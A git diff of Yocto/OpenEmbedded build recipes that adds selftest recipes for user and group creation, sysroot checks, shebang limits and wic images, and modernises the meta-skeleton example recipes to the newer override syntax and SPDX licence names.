diff --git a/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
new file mode 100644
index 0000000000..547587bef4
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-hello/selftest-hello_1.0.bb
@@ -0,0 +1,19 @@
+DESCRIPTION = "Simple helloworld application -- selftest variant"
+SECTION = "examples"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+SRC_URI = "file://helloworld.c"
+
+S = "${WORKDIR}"
+
+do_compile() {
+ ${CC} ${CFLAGS} ${LDFLAGS} helloworld.c -o helloworld
+}
+
+do_install() {
+ install -d ${D}${bindir}
+ install -m 0755 helloworld ${D}${bindir}
+}
+
+BBCLASSEXTEND = "native nativesdk" \ No newline at end of file
diff --git a/meta-selftest/recipes-test/selftest-users/acreategroup.bb b/meta-selftest/recipes-test/selftest-users/acreategroup.bb
new file mode 100644
index 0000000000..66ed5695a2
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/acreategroup.bb
@@ -0,0 +1,32 @@
+SUMMARY = "creategroup_a"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+S = "${WORKDIR}"
+
+EXCLUDE_FROM_WORLD="1"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5560 --gid a_group a_user"
+GROUPADD_PARAM:${PN} = "-r a_group"
+
+TESTDIR = "${D}${sysconfdir}/creategroup"
+
+do_install() {
+ install -d ${TESTDIR}
+ install -d ${TESTDIR}/dir
+ touch ${TESTDIR}/file
+ ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
+
+ chown a_user:a_group ${TESTDIR}/file
+ chown -R a_user:a_group ${TESTDIR}/dir
+ chown -h a_user:a_group ${TESTDIR}/symlink
+ chown -R a_user:a_group ${TESTDIR}/fifotest
+}
+
+FILES:${PN} = "${sysconfdir}/creategroup/*"
diff --git a/meta-selftest/recipes-test/selftest-users/bcreategroup.bb b/meta-selftest/recipes-test/selftest-users/bcreategroup.bb
new file mode 100644
index 0000000000..c4844dd0da
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/bcreategroup.bb
@@ -0,0 +1,37 @@
+SUMMARY = "creategroup_b"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+# This recipe requires a and c. C requires A. Reverse alpha.
+
+USERADD_DEPENDS = "acreategroup ccreategroup"
+
+S = "${WORKDIR}"
+
+EXCLUDE_FROM_WORLD="1"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5561 -g b_group -G a_group,c_group b_user "
+GROUPADD_PARAM:${PN} = "-r b_group"
+
+TESTDIR = "${D}${sysconfdir}/creategroup"
+
+do_install() {
+ install -d ${TESTDIR}
+ install -d ${TESTDIR}/dir
+ touch ${TESTDIR}/file
+ ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
+
+ chown a_user:a_group ${TESTDIR}/file
+ chown -R c_user:c_group ${TESTDIR}/dir
+ chown -h a_user:a_group ${TESTDIR}/symlink
+ chown -R b_user:b_group ${TESTDIR}/fifotest
+}
+
+FILES:${PN} = "${sysconfdir}/creategroup/*"
+
diff --git a/meta-selftest/recipes-test/selftest-users/ccreategroup.bb b/meta-selftest/recipes-test/selftest-users/ccreategroup.bb
new file mode 100644
index 0000000000..021b1ebbf7
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/ccreategroup.bb
@@ -0,0 +1,34 @@
+SUMMARY = "creategroup_c"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+USERADD_DEPENDS = "acreategroup"
+
+S = "${WORKDIR}"
+
+EXCLUDE_FROM_WORLD="1"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5563 --gid c_group -G a_group c_user"
+GROUPADD_PARAM:${PN} = "-r c_group"
+
+TESTDIR = "${D}${sysconfdir}/creategroup"
+
+do_install() {
+ install -d ${TESTDIR}
+ install -d ${TESTDIR}/dir
+ touch ${TESTDIR}/file
+ ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
+
+ chown c_user:c_group ${TESTDIR}/file
+ chown -R c_user:c_group ${TESTDIR}/dir
+ chown -h c_user:c_group ${TESTDIR}/symlink
+ chown -R c_user:c_group ${TESTDIR}/fifotest
+}
+
+FILES:${PN} = "${sysconfdir}/creategroup/*"
diff --git a/meta-selftest/recipes-test/selftest-users/creategroup1.bb b/meta-selftest/recipes-test/selftest-users/creategroup1.bb
new file mode 100644
index 0000000000..afd23ed1ee
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/creategroup1.bb
@@ -0,0 +1,30 @@
+SUMMARY = "creategroup pt 1"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+S = "${WORKDIR}"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5555 --gid grouptest gt1"
+GROUPADD_PARAM:${PN} = "-r grouptest"
+
+TESTDIR = "${D}${sysconfdir}/creategroup"
+
+do_install() {
+ install -d ${TESTDIR}
+ install -d ${TESTDIR}/dir
+ touch ${TESTDIR}/file
+ ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
+
+ chown gt1:grouptest ${TESTDIR}/file
+ chown -R gt1:grouptest ${TESTDIR}/dir
+ chown -h gt1:grouptest ${TESTDIR}/symlink
+ chown -R gt1:grouptest ${TESTDIR}/fifotest
+}
+
+FILES:${PN} = "${sysconfdir}/creategroup/*"
diff --git a/meta-selftest/recipes-test/selftest-users/creategroup2.bb b/meta-selftest/recipes-test/selftest-users/creategroup2.bb
new file mode 100644
index 0000000000..f776f43aed
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/creategroup2.bb
@@ -0,0 +1,32 @@
+SUMMARY = "creategroup pt 2"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+USERADD_DEPENDS = "creategroup1"
+
+S = "${WORKDIR}"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5556 --gid grouptest gt2"
+
+TESTDIR = "${D}${sysconfdir}/creategroup"
+
+do_install() {
+ install -d ${TESTDIR}
+ install -d ${TESTDIR}/dir
+ touch ${TESTDIR}/file
+ ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
+
+ chown gt2:grouptest ${TESTDIR}/file
+ chown -R gt2:grouptest ${TESTDIR}/dir
+ chown -h gt2:grouptest ${TESTDIR}/symlink
+ chown -R gt2:grouptest ${TESTDIR}/fifotest
+}
+
+FILES:${PN} = "${sysconfdir}/creategroup/*"
+
diff --git a/meta-selftest/recipes-test/selftest-users/dcreategroup.bb b/meta-selftest/recipes-test/selftest-users/dcreategroup.bb
new file mode 100644
index 0000000000..b96ca92a16
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/dcreategroup.bb
@@ -0,0 +1,33 @@
+SUMMARY = "creategroup_d"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+USERADD_DEPENDS = "bcreategroup"
+
+S = "${WORKDIR}"
+
+EXCLUDE_FROM_WORLD="1"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5564 -g d_group -G b_group d_user "
+GROUPADD_PARAM:${PN} = "-r d_group"
+
+TESTDIR = "${D}${sysconfdir}/creategroup"
+
+do_install() {
+ install -d ${TESTDIR}
+ install -d ${TESTDIR}/dir
+ touch ${TESTDIR}/file
+ ln -s ./file ${TESTDIR}/symlink
+ install -d ${TESTDIR}/fifotest
+ mkfifo ${TESTDIR}/fifotest/fifo
+
+ chown d_user:d_group ${TESTDIR}/file
+ chown -R d_user:b_group ${TESTDIR}/dir
+ chown -h d_user:d_group ${TESTDIR}/symlink
+ chown -R d_user:b_group ${TESTDIR}/fifotest
+}
+
diff --git a/meta-selftest/recipes-test/selftest-users/useraddbadtask.bb b/meta-selftest/recipes-test/selftest-users/useraddbadtask.bb
new file mode 100644
index 0000000000..99e04a80b3
--- /dev/null
+++ b/meta-selftest/recipes-test/selftest-users/useraddbadtask.bb
@@ -0,0 +1,20 @@
+SUMMARY = "UserAddBadTask"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+DEPENDS:append = "coreutils-native"
+
+S = "${WORKDIR}"
+
+inherit useradd allarch
+
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "-u 5555 --gid groupaddtask useraddtask"
+GROUPADD_PARAM:${PN} = "-r groupaddtask"
+
+do_badthingshappen() {
+ echo "foo"
+}
+
+addtask badthingshappen after do_populate_sysroot before do_package
diff --git a/meta-selftest/recipes-test/sysroot-test/sysroot-la-test_1.0.bb b/meta-selftest/recipes-test/sysroot-test/sysroot-la-test_1.0.bb
new file mode 100644
index 0000000000..21f06782fb
--- /dev/null
+++ b/meta-selftest/recipes-test/sysroot-test/sysroot-la-test_1.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Produce a broken la file"
+LICENSE = "CLOSED"
+INHIBIT_DEFAULT_DEPS = "1"
+
+EXCLUDE_FROM_WORLD = "1"
+
+# remove-libtool.bbclass is inherited by default and removes all
+# .la files which for this test we specifically do not want.
+REMOVE_LIBTOOL_LA = "0"
+
+do_install() {
+ install -d ${D}${libdir}/test/
+ echo '${WORKDIR}' > ${D}${libdir}/test/la-test.la
+}
+
+BBCLASSEXTEND += "native"
diff --git a/meta-selftest/recipes-test/sysroot-test/sysroot-pc-test_1.0.bb b/meta-selftest/recipes-test/sysroot-test/sysroot-pc-test_1.0.bb
new file mode 100644
index 0000000000..e748310fc4
--- /dev/null
+++ b/meta-selftest/recipes-test/sysroot-test/sysroot-pc-test_1.0.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Produce a broken pc file"
+LICENSE = "CLOSED"
+INHIBIT_DEFAULT_DEPS = "1"
+
+EXCLUDE_FROM_WORLD = "1"
+
+do_install() {
+ install -d ${D}${libdir}/test/
+ echo '${WORKDIR}' > ${D}${libdir}/test/test.pc
+}
+
+BBCLASSEXTEND += "native"
diff --git a/meta-selftest/recipes-test/sysroot-test/sysroot-shebang-test_1.0.bb b/meta-selftest/recipes-test/sysroot-test/sysroot-shebang-test_1.0.bb
new file mode 100644
index 0000000000..6c834be897
--- /dev/null
+++ b/meta-selftest/recipes-test/sysroot-test/sysroot-shebang-test_1.0.bb
@@ -0,0 +1,12 @@
+SUMMARY = "Check that shebang does not exceed 128 characters"
+LICENSE = "CLOSED"
+INHIBIT_DEFAULT_DEPS = "1"
+
+EXCLUDE_FROM_WORLD = "1"
+do_install() {
+ install -d ${D}${bindir}
+ echo '#!BiM3cnVd1Amtv6PG+FynrQiVMbZnX5ELgF21q3EkuB+44JEGWtq8TvBJ7EGidfVs3eR3wVOUbLnjYDlKUWcm7YC/ute7f+KDHbwxziRUSUBZAUqgjiQdfQ0HnxajI0ozbM863E9JV9k13yZKYfh9/zR77Y6Dl4Dd3zOWS75LSpkAXV' > ${D}${bindir}/max-shebang
+ chmod 755 ${D}${bindir}/max-shebang
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend b/meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend
new file mode 100644
index 0000000000..205720982c
--- /dev/null
+++ b/meta-selftest/recipes-test/systemd-machine-units/systemd-machine-units_%.bbappend
@@ -0,0 +1,2 @@
+# This bbappend is used to alter the recipe using the test_recipe.inc file created by tests.
+include test_recipe.inc
diff --git a/meta-selftest/recipes-test/testrpm/files/testfile.txt b/meta-selftest/recipes-test/testrpm/files/testfile.txt
new file mode 100644
index 0000000000..c4d7630c1e
--- /dev/null
+++ b/meta-selftest/recipes-test/testrpm/files/testfile.txt
@@ -0,0 +1 @@
+== This file serves the purposes of SRC_URI only
diff --git a/meta-selftest/recipes-test/testrpm/testrpm_0.0.1.bb b/meta-selftest/recipes-test/testrpm/testrpm_0.0.1.bb
new file mode 100644
index 0000000000..5e8761ab55
--- /dev/null
+++ b/meta-selftest/recipes-test/testrpm/testrpm_0.0.1.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Test recipe for testing rpm generated by oe-core"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+LICENSE = "MIT"
+
+SRC_URI = "file://testfile.txt"
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_compile(){
+ echo "testdata" > ${B}/"file with [brackets].txt"
+ echo "testdata" > ${B}/"file with (parentheses).txt"
+}
+
+do_install(){
+ install ${B}/* ${D}/
+}
+
+FILES:${PN} = "*"
diff --git a/meta-selftest/recipes-test/wrapper/cmdline-shebang-wrapper-test.bb b/meta-selftest/recipes-test/wrapper/cmdline-shebang-wrapper-test.bb
new file mode 100644
index 0000000000..c3d3548d4a
--- /dev/null
+++ b/meta-selftest/recipes-test/wrapper/cmdline-shebang-wrapper-test.bb
@@ -0,0 +1,30 @@
+SUMMARY = "Check that create_cmdline_shebang works"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
+INHIBIT_DEFAULT_DEPS = "1"
+
+SRC_URI += "file://test.awk"
+
+EXCLUDE_FROM_WORLD = "1"
+do_install() {
+ install -d ${D}${bindir}
+ # was not able to make ownership preservation check
+ install -m 0400 ${WORKDIR}/test.awk ${D}${bindir}/test
+
+ perm_old="$(stat --format='%a' ${D}${bindir}/test)"
+ sed -i -e 's|@AWK_BIN@|${bindir}/awk|g' ${D}${bindir}/test
+ create_cmdline_shebang_wrapper ${D}${bindir}/test
+ if [ $(${D}${bindir}/test) != "Don't Panic!" ]; then
+ bbfatal "Wrapper is broken"
+ else
+ bbnote "Wrapper is good"
+ fi
+
+ perm_new="$(stat --format='%a' ${D}${bindir}/test.real)"
+
+ if [ "$perm_new" != "$perm_old" ]; then
+ bbfatal "Wrapper permissions for ${D}${bindir}/test.real not preserved. Found $perm_new but expected $perm_old"
+ fi
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta-selftest/recipes-test/wrapper/files/test.awk b/meta-selftest/recipes-test/wrapper/files/test.awk
new file mode 100644
index 0000000000..91429197b1
--- /dev/null
+++ b/meta-selftest/recipes-test/wrapper/files/test.awk
@@ -0,0 +1,2 @@
+#! @AWK_BIN@ -f
+BEGIN { print "Don't Panic!" }
diff --git a/meta-selftest/wic/overlayfs_etc.wks.in b/meta-selftest/wic/overlayfs_etc.wks.in
new file mode 100644
index 0000000000..066cd35b15
--- /dev/null
+++ b/meta-selftest/wic/overlayfs_etc.wks.in
@@ -0,0 +1,4 @@
+part /boot --active --source bootimg-biosplusefi --ondisk sda --sourceparams="loader=grub-efi" --align 1024
+part / --source rootfs --ondisk sda --fstype=${OVERLAYFS_ROOTFS_TYPE} --use-uuid --align 1024
+part --ondisk sda --fstype=ext4 --size=5 --align 1024
+bootloader --ptable gpt --timeout=1 --append="rootfstype=${OVERLAYFS_ROOTFS_TYPE} console=ttyS0,115200 console=tty0 ${OVERLAYFS_INIT_OPTION}"
diff --git a/meta-selftest/wic/test_efi_plugin.wks b/meta-selftest/wic/test_efi_plugin.wks
new file mode 100644
index 0000000000..1603d6c4bb
--- /dev/null
+++ b/meta-selftest/wic/test_efi_plugin.wks
@@ -0,0 +1,6 @@
+# short-description: This file is used in oe-selftest wic module to test efi plugin
+
+part /boot --source bootimg-efi --sourceparams="loader=systemd-boot,create-unified-kernel-image=true,initrd=${INITRAMFS_IMAGE}-${MACHINE}.${INITRAMFS_FSTYPES}" --active --align 1024 --use-uuid
+part / --source rootfs --fstype=ext4 --align 1024 --use-uuid
+
+bootloader --timeout=0 --append="console=ttyS0,115200n8"
diff --git a/meta-selftest/wic/test_empty_plugin.wks b/meta-selftest/wic/test_empty_plugin.wks
new file mode 100644
index 0000000000..4e91e04e19
--- /dev/null
+++ b/meta-selftest/wic/test_empty_plugin.wks
@@ -0,0 +1,4 @@
+# short-description: image for checking empty partition creation
+
+part / --source rootfs --fstype=ext4 --align 1024 --use-uuid
+part empty --source empty --ondisk sda --size 1024 --align 1024
diff --git a/meta-selftest/wic/test_gpt_partition_name.wks b/meta-selftest/wic/test_gpt_partition_name.wks
new file mode 100644
index 0000000000..7db6da9aee
--- /dev/null
+++ b/meta-selftest/wic/test_gpt_partition_name.wks
@@ -0,0 +1,7 @@
+# short-description: image to test part-name in GPT partitions
+
+part --fstype=ext4 --part-name boot-A --label boot --size 1M --align 1024
+part / --source rootfs --fstype=ext4 --part-name root-A --align 1024
+part --fstype=ext4 --label ext-space --size 1M --align 1024
+
+bootloader --ptable gpt
diff --git a/meta-selftest/wic/test_rawcopy_plugin.wks.in b/meta-selftest/wic/test_rawcopy_plugin.wks.in
index 83be4be914..a865dd1d32 100644
--- a/meta-selftest/wic/test_rawcopy_plugin.wks.in
+++ b/meta-selftest/wic/test_rawcopy_plugin.wks.in
@@ -1,6 +1,6 @@
# short-description: This file is used in oe-selftest wic module to test rawcopy plugin
part /boot --active --source bootimg-pcbios
-part / --source rawcopy --sourceparams="file=core-image-minimal-${MACHINE}.ext4" --use-uuid
+part / --source rawcopy --sourceparams="file=${IMAGE_LINK_NAME_CORE_IMAGE_MINIMAL}.ext4" --use-uuid
bootloader --timeout=0 --append="console=ttyS0,115200n8"
diff --git a/meta-selftest/wic/test_uefikernel.wks b/meta-selftest/wic/test_uefikernel.wks
new file mode 100644
index 0000000000..bede2288f6
--- /dev/null
+++ b/meta-selftest/wic/test_uefikernel.wks
@@ -0,0 +1,5 @@
+# short-description: This file is used in oe-selftest wic module to test uefi-kernel loader
+
+part /boot --source bootimg-efi --sourceparams="loader=uefi-kernel"
+part / --source rootfs --fstype=ext4 --align 1024 --use-uuid
+
diff --git a/meta-skeleton/README.skeleton b/meta-skeleton/README.skeleton
new file mode 100644
index 0000000000..35503c1f7d
--- /dev/null
+++ b/meta-skeleton/README.skeleton
@@ -0,0 +1,4 @@
+meta-skeleton
+=============
+
+The meta-skeleton layer contains example recipes and configuration files.
diff --git a/meta-skeleton/conf/layer.conf b/meta-skeleton/conf/layer.conf
index cea5c74f8b..963d2d5ce9 100644
--- a/meta-skeleton/conf/layer.conf
+++ b/meta-skeleton/conf/layer.conf
@@ -14,4 +14,4 @@ LAYERVERSION_skeleton = "1"
LAYERDEPENDS_skeleton = "core"
-LAYERSERIES_COMPAT_skeleton = "gatesgarth"
+LAYERSERIES_COMPAT_skeleton = "styhead"
diff --git a/meta-skeleton/conf/multilib-example.conf b/meta-skeleton/conf/multilib-example.conf
index da6da7f1f6..07fd7b6ce4 100644
--- a/meta-skeleton/conf/multilib-example.conf
+++ b/meta-skeleton/conf/multilib-example.conf
@@ -10,4 +10,4 @@
MACHINE = "qemux86-64"
require conf/multilib.conf
MULTILIBS = "multilib:lib32"
-DEFAULTTUNE_virtclass-multilib-lib32 = "x86"
+DEFAULTTUNE:virtclass-multilib-lib32 = "x86"
diff --git a/meta-skeleton/conf/multilib-example2.conf b/meta-skeleton/conf/multilib-example2.conf
index 2596f61d9f..39f385fcca 100644
--- a/meta-skeleton/conf/multilib-example2.conf
+++ b/meta-skeleton/conf/multilib-example2.conf
@@ -10,4 +10,4 @@
MACHINE = "qemux86-64"
require conf/multilib.conf
MULTILIBS = "multilib:libx32"
-DEFAULTTUNE_virtclass-multilib-libx32 = "x86-64-x32"
+DEFAULTTUNE:virtclass-multilib-libx32 = "x86-64-x32"
diff --git a/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb b/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb
deleted file mode 100644
index 3acc523a88..0000000000
--- a/meta-skeleton/recipes-baremetal/baremetal-examples/baremetal-helloworld_git.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
-HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
-
-SRCREV = "99f4fa4a3b266b42b52af302610b0f4f429ba5e3"
-PV = "0.1+git${SRCPV}"
-
-SRC_URI = "git://github.com/aehs29/baremetal-helloqemu.git;protocol=https;branch=master"
-
-S = "${WORKDIR}/git/"
-
-# The following variables should be set to accomodate each application
-BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
-IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
-IMAGE_NAME_SUFFIX ?= ""
-
-# Baremetal-Image creates the proper wiring, assumes the output is provided in
-# binary and ELF format, installed on ${base_libdir}/firmware/ , we want a
-# package to be created since we might have some way of updating the baremetal
-# firmware from Linux
-inherit baremetal-image
-
-
-# These parameters are app specific for this example
-# This will be translated automatically to the architecture and
-# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
-# but the examples can also be run on other architectures/machines
-# such as vexpress-a15 by overriding the setting on the machine.conf
-COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64"
-
-BAREMETAL_QEMUARCH ?= ""
-BAREMETAL_QEMUARCH_qemuarmv5 = "versatile"
-BAREMETAL_QEMUARCH_qemuarm = "arm"
-BAREMETAL_QEMUARCH_qemuarm64 = "aarch64"
-
-EXTRA_OEMAKE_append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
-
-
-# Install binaries on the proper location for baremetal-image to fetch and deploy
-do_install(){
- install -d ${D}/${base_libdir}/firmware
- install -m 755 ${B}build/hello_baremetal_${BAREMETAL_QEMUARCH}.bin ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin
- install -m 755 ${B}build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
-}
-
-FILES_${PN} += " \
- ${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
- ${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
-"
diff --git a/meta-skeleton/recipes-core/busybox/busybox_%.bbappend b/meta-skeleton/recipes-core/busybox/busybox_%.bbappend
index 64cdefc76d..3c936eb713 100644
--- a/meta-skeleton/recipes-core/busybox/busybox_%.bbappend
+++ b/meta-skeleton/recipes-core/busybox/busybox_%.bbappend
@@ -2,11 +2,12 @@
# mechanism as the linux-yocto kernel recipe.
#
# The entries here will override any entries in the base busybox recipe
+# when DISTRO = "mydistro" is defined in your conf/local.conf file.
#
# More details can be found in the Kernel Dev Manual
# http://www.yoctoproject.org/docs/current/kernel-dev/kernel-dev.html#changing-the-configuration
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI += " \
+SRC_URI:append:mydistro = " \
file://no_rfkill.cfg \
"
diff --git a/meta-skeleton/recipes-kernel/hello-mod/files/hello.c b/meta-skeleton/recipes-kernel/hello-mod/files/hello.c
index f3c0d372eb..4f73455d20 100644
--- a/meta-skeleton/recipes-kernel/hello-mod/files/hello.c
+++ b/meta-skeleton/recipes-kernel/hello-mod/files/hello.c
@@ -2,32 +2,23 @@
*
* Copyright (C) 2011 Intel Corporation. All rights reserved.
*
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; version 2 of the License.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ * SPDX-License-Identifier: GPL-2.0-only
*
*****************************************************************************/
#include <linux/module.h>
-int init_module(void)
+static int __init hello_init(void)
{
- printk("Hello World!\n");
+ pr_info("Hello World!\n");
return 0;
}
-void cleanup_module(void)
+static void __exit hello_exit(void)
{
- printk("Goodbye Cruel World!\n");
+ pr_info("Goodbye Cruel World!\n");
}
+module_init(hello_init);
+module_exit(hello_exit);
MODULE_LICENSE("GPL");
diff --git a/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb b/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb
index 3d33446500..a2fb212a68 100644
--- a/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb
+++ b/meta-skeleton/recipes-kernel/hello-mod/hello-mod_0.1.bb
@@ -1,5 +1,6 @@
SUMMARY = "Example of how to build an external Linux kernel module"
-LICENSE = "GPLv2"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=12f884d2ae1ff87c09e5b7ccc2c4ca7e"
inherit module
@@ -14,4 +15,4 @@ S = "${WORKDIR}"
# The inherit of module.bbclass will automatically name module packages with
# "kernel-module-" prefix as required by the oe-core build environment.
-RPROVIDES_${PN} += "kernel-module-hello"
+RPROVIDES:${PN} += "kernel-module-hello"
diff --git a/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb b/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb
index 6194d4f8da..9437240fcf 100644
--- a/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb
+++ b/meta-skeleton/recipes-kernel/linux/linux-yocto-custom.bb
@@ -1,6 +1,6 @@
+SUMMARY = "An example kernel recipe that uses the linux-yocto and oe-core"
# linux-yocto-custom.bb:
#
-# An example kernel recipe that uses the linux-yocto and oe-core
# kernel classes to apply a subset of yocto kernel management to git
# managed kernel repositories.
#
@@ -57,14 +57,14 @@ require recipes-kernel/linux/linux-yocto.inc
SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git;protocol=git;nocheckout=1;name=machine"
LINUX_VERSION ?= "4.2"
-LINUX_VERSION_EXTENSION_append = "-custom"
+LINUX_VERSION_EXTENSION:append = "-custom"
# Modify SRCREV to a different commit hash in a copy of this recipe to
# build a different release of the Linux kernel.
# tag: v4.2 64291f7db5bd8150a74ad2036f1037e6a0428df2
SRCREV_machine="64291f7db5bd8150a74ad2036f1037e6a0428df2"
-PV = "${LINUX_VERSION}+git${SRCPV}"
+PV = "${LINUX_VERSION}+git"
# Override COMPATIBLE_MACHINE to include your machine in a copy of this recipe
# file. Leaving it empty here ensures an early explicit build failure.
diff --git a/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb b/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb
index f13186f933..1290968b9d 100644
--- a/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb
+++ b/meta-skeleton/recipes-multilib/images/core-image-multilib-example.bb
@@ -1,5 +1,4 @@
-#
-# An example of a multilib image
+SUMMARY = "An example of a multilib image"
#
# This example includes a lib32 version of bash into an otherwise standard
# sato image. It assumes a "lib32" multilib has been enabled in the user's
@@ -7,7 +6,7 @@
#
# First include a base image to base things off
-require recipes-sato/images/core-image-sato.bb
+require recipes-graphics/images/core-image-weston.bb
# Now add the multilib packages we want to install
IMAGE_INSTALL += "lib32-bash"
diff --git a/meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb b/meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb
new file mode 100644
index 0000000000..a64088fbaa
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/hello-autotools/hello_2.10.bb
@@ -0,0 +1,9 @@
+DESCRIPTION = "GNU Helloworld application"
+SECTION = "examples"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "${GNU_MIRROR}/hello/hello-${PV}.tar.gz"
+SRC_URI[sha256sum] = "31e066137a962676e89f69d1b65382de95a7ef7d914b8cb956f41ea72e0f516b"
+
+inherit autotools-brokensep gettext
diff --git a/meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c b/meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c
new file mode 100644
index 0000000000..fc7169b7b8
--- /dev/null
+++ b/meta-skeleton/recipes-skeleton/hello-single/files/helloworld.c
@@ -0,0 +1,8 @@
+#include <stdio.h>
+
+int main(void)
+{
+ printf("Hello world!\n");
+
+ return 0;
+}
